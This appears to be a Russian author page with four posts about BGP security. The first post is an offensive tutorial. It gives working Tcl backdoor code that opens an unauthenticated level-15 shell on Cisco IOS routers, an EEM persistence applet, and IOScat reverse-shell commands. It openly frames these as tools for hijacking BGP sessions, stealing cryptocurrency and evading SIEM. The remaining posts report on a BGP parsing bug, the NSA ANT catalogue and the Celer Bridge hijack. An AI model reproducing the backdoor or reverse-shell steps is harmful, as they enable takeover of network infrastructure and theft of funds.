Author: Lallora

  • Перехват и подмена bgp-сессии при помощи Cisco TCL

    Перехват и подмена bgp-сессии при помощи Cisco TCL

    Обычно мониторинг ситуаций, связанных с перехватом трафика через bgp затруднен и в siem очень трудно отследить что-то связанное с изменением маршрутов трафика при помощи внедрения bgp нарушителем. Поговорим немного о том, как можно использовать маршрутизатор Cisco Systems с привилегированным доступом level 15, что позволяет для реализации сценариев bgp spoofing с использованием встроенного в него функционала скриптового движка TCL.
    Вариантов изменения маршрутов (создание bgp обхода) в сети Интернет может быть несколько, однако самый простой из них — получению доступа к роутеру, а уже эту задачу можно решать различными способами и методами, мне на ум пришло несколько таких: 
    • Брутфорс пароля от интерфейса управления BGP;
    • Получение доступа посредством угона почты/аккаунта/компьютера одного из сотрудников или администраторов какого-нибудь провайдера (который рулит этим bgp роутером);
    • Поиск или эксплуатация уже существующих багов в BGP-сервере для обхода, запущенном на Linux-машине (по моему опыту, это чаще всего это Bird, Quagga (FRR) или же это будет стандартный девайс Cisco, Juniper или Huawei);
    • Получение доступа к управлению софтовым маршрутизатором BGP через сторонние сервисы, запущенные на этом же Linux-сервере;
    • «Вклинивание» в уже установленную BGP сессию между определенными узлами, но об этом мы поговорим чуточку позже, или напишите мне в личку. 
    Сейчас я опишу несколько вариантов реализации mitm bgp метода, и поверь, их использование действительно приводит к повышению прав на, якобы, защищенном маршрутизаторе под управлением Cisco IOS. Тебе это сильно пригодится для более глубокого осмысления роли bgp в криптоканалах как раз для создания своего bgp сервера для обхода и приземления нужного тебе трафика на свой мост. 

    Перехват bgp-сессии в Ростелекоме
    Tcl – это Tool Command Language, язык сценариев, часто применяемых с графической библиотекой Tk, был придуман в начале 80-х годов и из-за своей простоты продолжает повсеместно использоваться как встроенный в различные приложения; вспомним хотя бы программы expect или irc-ботов eggdrop, а также использование его как модуля к серверной части apache mod_tcl. В операционную систему Cisco IOS, используемую маршрутизаторами Cisco Systems, интерпретатор Tcl был внедрён начиная с версии IOS 12.3(2)T, что позволило реализовать в маршрутизаторах Cisco Systems функции выполнения “пользовательских” скриптов. Как наиболее часто встречаемый пример, использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.
    Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора под управлением Cisco IOS для следующих действий:
    • Разработки собственного варианта “бэкдора” с целью закрепления системы и доступа к ней в обход штатных механизмов защиты;
    • Перехват bgp-сессии с подменой маршрутов или внедрением своего маршрута; 
    • Проведения сканирования портов в различных сегментах сети;
    • Проброса действующих портов на порт интерфейса, организации обратного (реверсного) доступа к удаленным устройствам;
    • Процессинг крипты через подмену маршрута bgp до криптомоста с китами и подмена смартконтрактов на этом мосте;
    • Создание bgp обхода для инфильтрации трафика на своём оборудовании;
    • Разработки вариантов скриптов для возможности перебора паролей (брутфорса) различных устройств и серверов в сети.

    Данными методами также можно воспользоваться для процессинга крипты, получив доступ к TFTP-серверу телеком провайдера, где размещены существующие активные TCL-сценарии и принудительно заменить существующий сценарий на собственный, предназначенный для реализации bgp spoofing сценария или создания bgp сервера для обхода криптомоста с последующим приземлением трафика китов на свой мост. В этом случае произойдет загрузка именно твоего сценария TCL и запуск его на граничном bgp-маршрутизаторе.

    Практикуемся

    Давай попробуем понять, как это можно реализовать с помощью удаленного шелла, который можно использовать без явной аутентификации с входом на назначенный порт по протоколу Telnet. Подобный сценарий недавно использовался в качестве задания на соревнованиях “Рускрипто CTF“.
    В первую очередь давай разберем, как работает Tcl на устройствах под управлением Cisco IOS.

    Загрузка и исполнение TCL-скрипта:

    Для первичной загрузки TCL-скриптов необходимо иметь привилегированный доступ не ниже уровня 15 enable. Скрипт Tcl необходимо загружать удаленно на маршрутизатор Cisco, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP. Загрузку и выполнение скрипта можно выполнять как напрямую в RAM-маршрутизатора, так и в FLASH-память c последующим его запуском с файловой системы Cisco IOS.
    Вот так выглядит загрузка скрипта во FLASH память и последующее его выполнение:
    Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl
    Router# tclsh flash://script.tcl
    Загрузка скрипта непосредственно с TFTP-сервера:
    Router# tclsh tftp://192.168.1.4/script.tcl
    Ниже приведен пример TCL-скрипта, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка скрипта выполняется методами, описанными выше (в приведенном примере с сервера TFTP).
    proc callback {sock addr port} { 
    fconfigure $sock -translation crlf -buffering line
    puts $sock "Cisco router admin console:" 
    puts $sock " " 
    puts -nonewline $sock "Router# "
    flush $sock
    fileevent $sock readable [list echo $sock] 


    proc echo {sock} {
    global var

    flush $sock

    if {[catch {gets $sock line}] || 
    [eof $sock]} {
    return [close $sock]
    }

    catch {exec $line} result
    if {[catch {puts $sock $result}]} {
    return [close $sock]
    }

    puts -nonewline $sock "Router# "
    flush $sock
    }

    set port 2002
    set sh [socket -server callback $port] 
    vwait var 
    close $sh
    После загрузки и последующего запуска вышеприведенного сценария появится возможность зайти в систему режим EXEC без использования учетных записей и выполнять любые команды с использованием привилегий супер-пользователя level 15.
    [ptsec@maxpatrol ~]$ telnet router 2002
    Trying 192.168.1.10...
    Connected to router.
    Escape character is '^]'.

    Cisco router admin console:

    Router#
    Далее я бы хотел рассказать о некоторых ограничениях, которые необходимо помнить при работе с Tcl на устройствах под управлением Cisco IOS. В ранних версиях Cisco IOS, включающих поддержку Tcl, скрипт продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу скрипта при обрыве линии или по команде clear line. Этот “патч-фикс” производителя можно обойти несколькими способами:
    1. На линиях, (console 0 или vty 0 4), с которых запускается скрипт, применить команду exec-timeout 0 0, в противном случае по завершении сессии пользователя скрипт завершит свою работу.
    Router>en
    Router#conf t
    Enter configuration commands, one per line. End with CNTL/Z.
    Router(config)#line vty 0 4
    Router(config-line)#exec-timeout 0 0
    2. Производить запуск сценария с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. На примере ниже показана конфигурация Cisco IOS, которая загружает скрипт с TFTP сервера после запуска маршрутизатора по истечении 20 секунд.
    Router(config)# event manager applet BACKDOOR
    Router(config-applet)# event timer countdown name Delay time 20
    Router(config-applet)# action 1.0 cli command "enable"
    Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"
    Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"
    3. Конвертировать TCL-сцкнарий в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.

    Готовые утилиты и сценарии bgp spoofing

    В ряде ситуаций можно использовать готовые сценарии, такие как IOScat и IOSmap, входящие в IOScat, позволяющие осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами. Используя встроенный в Cisco IOS язык TCL, можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив скрипт TCL во flash-память маршрутизатора или через TFTP-сервер напрямую в RAM. Методика загрузки и установки TCL-скрипта на маршрутизатор описана выше.

    Примеры реализации:

    Организация бэкдора на маршрутизаторе (2002 порт):
    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 –oe
    Организация реверсного шелла на нужный IP адрес сервера обхода bgp (порт 12345):
    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345
    (на твоей машине приемником шелла выступает обычный netcat: nc -l -p 12345)
    Проброс удаленного порта на локальный порт маршрутизатора (2002):
    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1 -op80
    У данного сценария есть много других примеров, например копирование файлов с использованием сокетов, имитация телнет-сессии на удаленном хосте и много других функций, которые можно посмотреть на сайте разработчика.
    Сценарий с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, в урезанном функционале, но в данном случае достаточно эксклюзивным для работы в среде Cisco IOS. Функционал этого TCL-скрипта позволяет производить сканирование диапазонов IP-адресов на открытые TCP/UDP-порты, в том числе используя метод инвентаризации хостов посредством протокола ICMP.
    Рассмотрим примеры использования:
    Router>en
    Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443
    Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !
    [OK - 15912 bytes]

    Loading services.list from 192.168.1.4 (via FastEthernet0/0): !
    [OK - 42121 bytes]

    Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC

    Free Memory on Platform = 29038388 / Memory required for this scan = 2622514

    Host 192.168.1.1 is unavailable

    Host 192.168.1.2 is unavailable

    Host 192.168.1.3 is unavailable

    Interesting ports on host 192.168.1.4
    PORT STATE SERVICE
    20/tcp closed ftp-data
    21/tcp closed ftp
    22/tcp closed ssh
    23/tcp closed telnet
    24/tcp closed priv-mail
    80/tcp open http
    443/tcp closed https

    Host 192.168.1.5 is unavailable

    Router#
    Изменение вариантов сканирования скрипта возможно путем добавления аргументов:
    -sP – только по ответу хоста;
    -sT – TCP-портов методом TCP connect;
    -sU – UDP-портов через функционал IP SLA.
    Учитывая богатые возможности языка ТСL, можно разработать множество подобных, интересных приложений для реализации их в сетевой среде на оборудовании под управлением Cisco IOS для применения в локальной вычислительной сети провайдера для реализации bgp spoofing сценариев.

    Как скрыться от SIEM

    Имея возможность запускать сценарии TCL, также интересно иметь возможность отследить их исполнение в среде Cisco IOS. Сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе, используя следующие команды маршрутизатора:
    Router#show processes cpu | i Tcl
    212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16

    Router#show tcp brief all
    TCB Local Address Foreign Address (state)
    659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB
    654485B4 *.2002 *.* LISTEN
    65CA2D04 *.80 *.* LISTEN
    Начиная с версии IOS 12.4(4)Т появилась возможность использования CPP (Control Plane Policy):
    Router#show control-plane host open-ports
    Active internet connections (servers and established)
    Prot Local Address Foreign Address Service State
    tcp *:23 *:0 Telnet LISTEN
    tcp *:23 192.168.1.4:1379 Telnet ESTABLIS
    tcp *:80 *:0 HTTP CORE LISTEN
    tcp *:1234 *:0 Tcl Serv - tty163 LISTEN


    Устройства под управлением Cisco IOS в 1999 и 2024

    Инженер электросвязи шатает BGP

    Таким образом, все поняли, что любую, даже самую защищенную провайдерскую Cisco можно захватить умело написанным и запущенным TCL-сценарием. В итоге ты получаешь шелл для манипулирования трафиком в глобальной сети Интернет для реализации нужных тебе сценариев bgp spoofing для проведения mitm с криптой со всеми вытекающими отсюда последствиями.
  • Ошибка обработки пакета BGP приводит к выключению пограничного роутера

    Ошибка обработки пакета BGP приводит к выключению пограничного роутера

    BGP (the Border Gateway Protocol)— это магистральный протокол и «клей» Интернета, который рассылает информацию о маршрутах между сетями провайдеров. Короче говоря, этот протокол, BGP, является очень важным элементом, необходимым для правильной работы глобальной сети в целом.

    Программное обеспечение маршрутизаторов, реализующее BGP, не идеально, поскольку как коммерческие, так и версии с открытым исходным кодом имеют проблемы в реализации этого протокола маршрутизации.

    В то время как многие недостатки незначительны и связаны с проблемами маршрутизации, рассматриваемая ошибка обработки пакета BGP вызывает особое беспокойство, так как может распространяться как компьютерный червь.

    Владелец BGP[.] Бен Картрайт-Кокс обнаружил этот недостаток; Это компания, которая предлагает услуги мониторинга BGP для обнаружения и решения проблем.

    Ошибочный атрибут

    2 июня 2023 года небольшая бразильская сеть повторно анонсировала маршрут с поврежденным атрибутом в пакете, что потенциально повлияло на транзитные маршрутизаторы.

    Многие маршрутизаторы игнорировали этот атрибут, но маршрутизаторы Juniper принимая его, и ответ на ошибку в пакете закрывали сессии BGP, тем самым нарушая связанность своих сетей с глобальной сетью Интернет.

    Кроме того, такая ошибка в пакете BGP прерывает сессию, прекращая переток клиентского трафика до тех пор, пока не будет выполнен автоматический перезапуск маршрутизатора, который обычно занимает от нескольких секунд до нескольких минут.

    Завершение сессии BGP вследствие получения пакета с ошибочным атрибутом
    Завершение сессии BGP вследствие получения пакета с ошибочным атрибутом

    Это затронуло многих операторов, таких как COLT, сбой в работе которых и привлек внимание к этой проблеме.

    Ошибка, связанная с обработкой ошибок BGP

    Каждый атрибут пакета обновления BGP начинается с флагов, включая ключевой ‘транзитивный бит’:

    Транзитивный бит в пакете обновления BGP
    Транзитивный бит в пакете обновления BGP

    Если транзитивный бит атрибута установлен, а маршрутизатор его не понимает, он копируется на другой маршрутизатор, что может привести к слепому распространению неизвестной маршрутной информации.

    Завершение работы сессии BGP нарушает переток трафика между автономными системами и может распространяться как червь. В то время как атрибуты, неизвестные одной реализации, могут привести к завершению работы другой, созданный BGP UPDATE может быть нацелен на поставщика определенного оборудования и вывести сеть провайдера из строя целиком.

    Распространение ошибки в пакете BGP по сети
    Распространение ошибки в пакете BGP по сети

    Эффект от атаки сохраняется довольно долгое время, так как анонсированный маршрут всё остается в одноранговом маршрутизаторе, даже после его перезапуска, при передаче нового пакета обновлений BGP он инициирует еще один сброс сессии, что приводит к длительным простоям.

    Более того, чтобы проверить, какие реализации протокола BGP подвержены этой уязвимости можно использовать простую утилиту для тестирования.

    Незатронутые поставщики оборудования

    Далее приводим список поставщиков, которые не были затронуты этой уязвимостью:

    • MikroTik RouterOS 7+
    • Ubiquiti EdgeOS
    • Arista EOS
    • Huawei NE40
    • Cisco IOS-XE / “Classic” / XR
    • Bird 1.6, All versions of Bird 2.0
    • GoBGP

    Подверженные версии оборудования или ПО

    • Juniper Networks Junos OS
    • Nokia’s SR-OS
    • Extreme Networks’ EXOS
    • OpenBSD’s OpenBGPd
    • OpenBSD’s FRRouting

    Вопросы и ответы

    Ранее было сообщено об этих уязвимостях всем подверженным ей поставщикам оборудования и программного обеспечения. После получения уведомления были получены следующие ответы от затронутых поставщиков:

    • OpenBSD выпустила патч
    • Компании Juniper присвоили CVE
    • FRR также присвоил CVE
    • В Nokia проблему не решили
    • Extreme также не решил эту проблему

    Кроме того, несмотря на отсутствие ответов некоторых поставщиков оборудования, провайдеры услуг интернета сами могут принять меры по предотвращению потенциальной эксплуатации этой уязвимости.

  • Бэкдоры в маршрутизаторах и коммутаторах Cisco, Huawei и Juniper для bgp-перехвата

    Бэкдоры в маршрутизаторах и коммутаторах Cisco, Huawei и Juniper для bgp-перехвата

    Каталог включает жучки для межсетевых экранов Cisco, Huawei и Juniper, серверов Dell PowerEdge, SIM-карт, кабелей USB, LAN и VGA, прототип жучка для iPhone и т. д. Помимо жучков, в каталог входит оборудование, предназначенное для прослушки.

    маршрутизаторы Cisco по прежнему уязвимы

    Германское издание Spiegel опубликовало 48 страниц каталога «жучков» АНБ, предназначенных для внедрения и перехвата данных в оборудовании известных американских и азиатских производителей.

    Каталог датирован 2008-2009 г.г. Каталог включает программные жучки для межсетевых экранов Cisco (линейка PIX 500, модели ASA 5505, 5510, 5520, 5540 и 5550), Huawei (линейки Eudemon 200, 500 и 1000) и Juniper (Netscreen ns5xt, ns25, ns50, ns200, isg1000, nsg5t, SSG 320M, 350M, 520, 520M и 550M).

    В каталог также входят программные жучки для SIM-карт, используемых в сетях GSM. Они позволяют извлекать контакты, SMS-сообщения, историю звонков и геолокационные данные с телефона и отправлять их на заданный мобильный номер по SMS.

    В каталоге также представлены аппаратные жучки для USB- и LAN-кабелей (перехватывают данные), VGA-кабелей (позволяют перехватывать видеосигнал, идущий с ПК на монитор), жучки для компьютеров и прочих вычислительных систем на базе Windows, Linux, FreeBSD и Solaris, мобильных устройств на Windows Mobile, а также для серверов Dell PowerEdge (1950, 2950) и HP ProLiant 380DL G5, системы имитации базовых станций сотовой связи и модифицированные телефоны Samsung и других производителей с интегрированной системой прослушки.

    Разработкой всех жучков занимается подразделение ANT. Сотрудники АНБ могут заказывать у него жучки, которые им необходимы для слежки. Большинство жучков бесплатны, однако есть и платные – стоимость варьируется до $250 тыс. (столько стоит решение для развертывания готовых мобильных сетей).

    Некоторые жучки находятся в разработке: например, программный жучок для Apple iPhone. Он должен позволить удаленно записывать и извлекать файлы со смартфона, получать список SMS-сообщений, список контактов, доступ к голосовой почте, микрофону, камере и информации о текущих координатах абонента. Управление жучком предлагается осуществлять с помощью SMS-команд или посредством GPRS-соединения.

    Список жучков и оборудования

    RAGEMASTER – жучок для перехвата видеосигнала на монитор
    JETPLOW – жучок для межсетевых экранов Cisco
    HALLUXWATER – жучок для межсетевых экранов Huawei
    FEEDTROUGH – жучок для межсетевых экранов Juniper
    GOURMETTROUGH – жучок для межсетевых экранов Juniper
    SOUFFLETROUGH – жучок для межсетевых экранов Juniper
    DROPOUTJEEP – жучок для Apple iPhone (разрабатывается)
    GOPHERSET – жучок для SIM-карт
    MONKEYCALENDAR – жучок для SIM-карт
    TOTECHASER – жучок для мобильного телефона Thuraya 2520
    TOTEGHOSTLY 2.0 – жучок для устройств на базе Windows Mobile
    PICASSO – комплект модифицированных мобильных телефонов Samsung и Eastcom
    CROSSBEAM – GSM-модуль
    CANDYGRAM – имитатор базовой станции сети GSM
    CYCLONE Hx9 – решение для развертывания сети сотовой сети
    EBSR – оборудование для сотовой связи
    ENTOURAGE – оборудование для сотовой связи
    GENESIS – модифицированный мобильный телефон
    NEBULA – решение для развертывания сети сотовой сети
    TYPHON HX – оборудование для сотовой связи
    WATERWITCH – устройство для выявления координат мобильных телефонов
    CTX4000 – портативный радар
    LOUDAUTO – передатчик звука
    NIGHTWATCH – портативный компьютер для сканирования сигналов
    PHOTOANGLO – система радаров
    TAWDRYYARD – передатчик
    GINSU – жучок для вычислительных систем на базе Windows
    IRATEMONK – жучок для персональных компьютеров
    SWAP – жучок для персональных компьютеров
    WISTFULTOLL – жучок для персональных компьютеров
    HOWLERMONKEY – передатчик
    JUNIORMINT – мини-ПК
    MAESTRO-II – мини-ПК
    SOMBERKNAVE – жучок для локальных сетей
    TRINITY – мини-ПК
    HEADWATER – жучок для роутеров Huawei
    SCHOOLMONTANA – жучок для роутеров Juniper
    SIERRAMONTANA – жучок для роутеров Juniper
    STUCCOMONTANA – жучок для роутеров Juniper
    DEITYBOUNCE – жучок для серверов Dell
    GODSURGE – жучок для серверов Dell
    IRONCHEF – жучок для серверов HP
    SURLYSPAWN – передатчик
    COTTONMOUTH-I – жучок для соединений USB
    COTTONMOUTH-II – жучок для соединений USB
    COTTONMOUTH-III – жучок для соединений USB
    FIREWALK – жучок для соединений LAN
    NIGHTSTAND – оборудование связи

    Жучки АНБ созданы таким образом, чтобы они могли продолжать работать после перезагрузки и даже обновления прошивки оборудования. Внедрение осуществляется с помощью различных уязвимостей, технических интерфейсов, BIOS, загрузочных секторов и т. п.

    Вендоры отреагировали на публикацию Spiegel, отрицая наличие любых форм сотрудничества со спецслужбами. Старший вице-президент, глава по безопасности Cisco Джон Стюарт (John Stewart) заявил, что компания не сотрудничает с государственными органами и не помещает в свое оборудование бэкдоры. Он также сказал, что в настоящее время экспертам Cisco неизвестны какие-либо уязвимости в решениях компании, которые могли быть использованы для внедрения бэкдоров.

    Российский офис Cisco на вопросы не ответил.

    В российском офисе Samsung на запрос ответили следующим образом: «Samsung следует законодательным нормам тех стран, в которых ведет бизнес. В настоящее время мы ведем процесс сертификации жестких дисков, которые будут поставляться на территорию РФ. До завершения процесса сертификации, официальных поставок жестких дисков Samsung на территории России не будет».

  • Скам площадки Celer Bridge или как Amazon опять потерял контроль над своими IP-адресами

    Скам площадки Celer Bridge или как Amazon опять потерял контроль над своими IP-адресами

    Поговорим о том, как три часа бездействия сетевых инженеров Amazon стоили держателям криптовалюты в $235 000.

    Amazon недавно потерял контроль над своими IP-адресами, которые он использует для предоставления облачных сервисов, и потребовалось более трех часов инженерам электросвязи, чтобы восстановить контроль над сетью. Эта ошибка позволила похитить 235 000 долларов США в криптовалюте у пользователей одного из партнёров Amazon.

    Неизвестные захватили контроль примерно над 256 IP-адресами посредством перехвата сессии BGP, используя известные уязвимости основного интернет-протокола междоменной маршрутизации в глобальной сети Интернет. BGP — это протокол, который организации, маршрутизирующие трафик, известные в сети как автономные системы, используют для взаимодействия с другими такими же сетями или системами ASN. Несмотря на свою решающую функцию по маршрутизации больших объемов данных по всему миру в режиме реального времени, BGP по-прежнему в значительной степени полагается на доверие, что не позволяет сетям и системам в полной мере отслеживать, какие IP-адреса по праву принадлежат каким ASN.

    Случай ошибочной идентификации

    В прошлом месяце автономная система 209243, принадлежащая британскому сетевому оператору Quickhost.uk, внезапно начала объявлять через bgp, что ее инфраструктура является подходящим и наилучшим путём для других ASN для доступа к так называемому блоку IP-адресов /24, принадлежащему AS16509, одному из как минимум трёх ASN, которыми управляет Amazon. Захваченный блок включал 44.235.216.69 IP-адрес, на котором размещен cbridge-prod2.celer.network, поддомен, отвечающий за обслуживание критического пользовательского интерфейса смарт-контрактов криптовалютной биржи Celer Bridge.

    17 августа неизвестные использовали bgp-перехват, чтобы сначала получить сертификат TLS для cbridge-prod2.celer.network, поскольку им удалось продемонстрировать центру сертификации GoGetSSL в Латвии, что они контролируют этот субдомен. Имея сертификат, неизвестные затем разместили свой собственный смарт-контракт в том же домене и ждали посещений от людей, пытавшихся получить доступ к реальной странице Celer Bridge cbridge-prod2.celer.network.

    В общей сложности подставной контракт унес с 32 учетных записей биржи в общей сложности 234 866,65 долларов США, согласно отчету охранной фирмы SlowMist и отчету группы анализа угроз Coinbase.

    потери криптобиржы Celer Bridge из-за перехвата сессии BGP
    потери криптобиржы Celer Bridge из-за перехвата сессии BGP

    Что думает по этому поводу команда Coinbase

    Фишинговый контракт очень похож на официальный контракт Celer Bridge, поскольку имитирует многие его атрибуты. Для любого метода, явно не определенного в фишинговом контракте, он реализует структуру прокси, которая перенаправляет вызовы на легальный контракт Celer Bridge. Прокси-контракт уникален для каждой цепочки и настраивается при инициализации. Команда ниже иллюстрирует содержимое слота хранилища, отвечающего за конфигурацию прокси-контракта фишингового контракта:

    Хранение прокси-контракта для фишинговых смарт-контрактов

    Фишинговый контракт крадет средства пользователей двумя способами:

    • Любые токены, одобренные жертвами фишинга, удаляются с помощью специального метода с 4-байтовым значением 0x9c307de6().
    • Фишинговый контракт отменяет следующие методы, предназначенные для немедленной кражи токенов жертвы:
    • send() — используется для кражи токенов (например, USDC)
    • sendNative() — используется для кражи собственных активов (например, ETH)
    • addLiquidity() — используется для кражи токенов (например, USDC)
    • addNativeLiquidity() — используется для кражи собственных активов (например, ETH)

    Ниже приведен пример фрагмента кода, полученного методом реверс-инжиниринга, который перенаправляет активы в кошелек человека, осуществившего BGP-перехват:

    Фрагмент фишингового смарт-контракта

    Привет, Amazon? Где ваш сетевой инженер?

    Как показано в зеленых секциях в верхней части этого графика, подготовленного Дугом Мэдори из компании по мониторингу сети Kentik, мошенническое объявление BGP началось 17 августа около 19:39 UTC времени и за считанные секунды префикс распространился глобально. По неизвестным причинам объявление префикса было отозвано в 20:22 только для того, чтобы вернуться и быть отозвано еще три раза в течение следующих двух часов.

    BGP-перехват Celer Bridge

    В объявлении маршрута по BGP утверждалось, что адрес 44.235.216.0/24 исходит от AS14618, одного из других ASN Amazon, и должен быть маршрутизирован через AS20943 Quickhostuk. Новое объявление BGP, подобное этому, которое за считанные секунды заставляет весь Интернет маршрутизировать IP-адреса Amazon через Quickhostuk ASN, — это событие, которое должно было вызвать немедленное расследование со стороны облачного провайдера. По причинам, которые остаются неизвестными, Amazon не начал объявлять правильный путь для своего блока /24 до 23:07 (как указано фиолетовым цветом на графике выше), более чем через три часа после начала мошеннических объявлений маршрутной информации BGP.

    «Ключевой деталью, которая отличала бы это предупреждение от появления просто еще одного узла Amazon, было бы то, что новый восходящий поток был виден 100% точек обзора BGP», — написал Мадори в четверг. «Другими словами, этот новый префикс Amazon эксклюзивно передавался этим относительно неизвестным хостинг-провайдером. Это должно было вызвать удивление у команды Amazon NetOps».

    Представители Amazon не ответили ни на одно из трех электронных писем с просьбой прокомментировать этот пост, отправленных за последние девять дней. После публикации этого сообщения представитель Amazon заявил, что все несколько адресов назначения в запросе на комментарий были отключены, и что компания не игнорирует электронные письма.

    Представители Quickhostuk не ответили на два электронных письма с вопросом, как и откуда появились мошеннические объявления маршрутной информации BGP. 

    Подобное уже случалось ранее

    Это не первый случай, когда BGP-атака с целью перехвата IP-адресов Amazon заканчивается огромными потерями криптовалюты. В 2018 году невероятно похожее событие произошло с сервисом системы доменных имен Amazon Route 53. В результате атаки у владельцев счетов MyEtherWallet.com было украдено около 150 000 долларов США в криптовалюте. Украденная сумма, вероятно, была бы выше, если бы неизвестные получили бы доверенный браузеру TLS-сертификат вместо самописного сертификата, который требовал от жертв нажатия на предупреждение.

    После атаки 2018 года Amazon добавила более 5000 своих IP-префиксов к так называемым ROA (разрешения на происхождение маршрута), которые представляют собой общедоступные документы, в которых указывается, какие ASN имеют право объявлять какие IP-адреса. Этот шаг обеспечил некоторую защиту от RPKI (инфраструктуры открытых ключей ресурсов), которая использует цифровые сертификаты для подключения ASN к их законным IP-адресам.
    Этот анализ показывает, что для обхода защиты неизвестные в прошлом месяце добавили AS16509 и более конкретный маршрут /24 в так называемый AS-SET, индексированный в ALTDB, бесплатном реестре для автономных систем, в котором можно публиковать свои политики маршрутизации BGP.

    irrd.log-20220817.gz:31106270-ADD 96126
    irrd.log-20220817.gz:31106280-
    irrd.log-20220817.gz:31106281-as-set: AS-SET209243
    irrd.log-20220817.gz:31106306-descr: quickhost set
    irrd.log-20220817.gz:31106332-members: AS209243, AS16509
    irrd.log-20220817.gz:31106362:mnt-by: MAINT-QUICKHOSTUK
    irrd.log-20220817.gz:31106392-changed: crussell()quickhostuk net 20220816
    irrd.log-20220817.gz:31106438-source: ALTDB

    irrd.log-20220817.gz:31147549-ADD 96127
    irrd.log-20220817.gz:31147559-
    irrd.log-20220817.gz:31147560-route: 44.235.216.0/24
    irrd.log-20220817.gz:31147588-descr: route
    irrd.log-20220817.gz:31147606-origin: AS16509
    irrd.log-20220817.gz:31147626:mnt-by: MAINT-QUICKHOSTUK
    irrd.log-20220817.gz:31147656-changed: crussell()quickhostuk net 20220816
    irrd.log-20220817.gz:31147702-source: ALTDB

    AS-SET — это регистрационная запись, определяющая допустимый набор номеров ASN, с которыми провайдер может взаимодействовать в глобальной сети.
    Анализируя, почему этот приём не смог предотвратить угон bgp-сессии в прошлом месяце, Мадори осторожно отметил, что RPKI предназначен для ограничения воздействия непреднамеренных или случайных перехватов bgp из-за утечек маршрутизации или неправильных конфигураций, а не в качестве механизма безопасности для предотвращения мошенничества и угона bgp-сессии со стороны мотивированных нарушителей.
    Он написал: “Тем не менее, это все равно могло бы помочь, если бы ROA было настроено по-другому. В нынешнем виде ROA для рассматриваемого адресного пространства довольно либерален. По сути, три разных ASN Amazon (16509, 8987 и 14618) могут объявлять части этого адресного пространства с префиксами размером от /10 до /24. Посмотрите выходные данные веб-интерфейса Routinator:…”
    Альтернативным подходом к созданию ROA было бы сделать то, что сделали другие сети, такие как Cloudflare и Comcast: установить источник и максимальную длину префикса, чтобы они были идентичны тому, как маршрутизируется префикс. Хотя этот подход влечет за собой накладные расходы, связанные с необходимостью обновлять ROA каждый раз при изменении маршрута, он также оставляет мало места для ввода в обращение альтернативных версий маршрута.
    Честно говоря, Amazon — далеко не единственный облачный оператор, потерявший контроль над своими IP-адресами в результате атаки BGP. Уязвимость BGP к неуклюжим ошибкам в настройке и откровенному мошенничеству очевидна уже более двух десятилетий. Отсутствие безопасности в конечном итоге является общеотраслевой проблемой, которую Amazon не в состоянии решить в одиночку.
    Но как облачный провайдер первого уровня, который в настоящее время пострадал как минимум от двух перехватов BGP, которые стоили денег нижестоящим пользователям, Amazon следует ожидать, что он признает это событие, объяснит, почему он ждал более трех часов, чтобы принять корректирующие меры, и наметит план. для предотвращения подобных случаев в будущем. Вместо того, чтобы хранить молчание по радио, как это делалось в течение последних пяти недель, Quickhostuk также должен объяснить этот инцидент и объяснить, почему его ASN опубликовал такое проблемное объявление.